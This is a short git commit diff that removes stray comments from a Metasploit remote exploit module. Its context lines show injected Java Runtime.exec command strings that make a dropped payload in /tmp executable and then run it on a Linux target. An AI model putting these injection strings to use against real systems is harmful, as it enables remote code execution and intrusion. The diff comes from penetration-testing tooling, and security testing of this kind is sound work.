fixed comments left in by accident
parent
4edf5260f4
commit
8027615608
|
@ -96,13 +96,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
pl_exe = generate_payload_exe
|
||||
chunk_length = 384
|
||||
append = 'false'
|
||||
# java_cmd = "@java.lang.Runtime@getRuntime().exec(%s)"
|
||||
#Now arch specific...
|
||||
case target['Platform']
|
||||
when 'linux'
|
||||
chunk_length = 128 #Complains of a long filename if left default.
|
||||
@payload_exe = "/tmp/#{@payload_exe}"
|
||||
# chmod_cmd = java_cmd % '\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\")'
|
||||
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
|
||||
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
|
||||
when 'java'
|
||||
|
|
Loading…
Reference in New Issue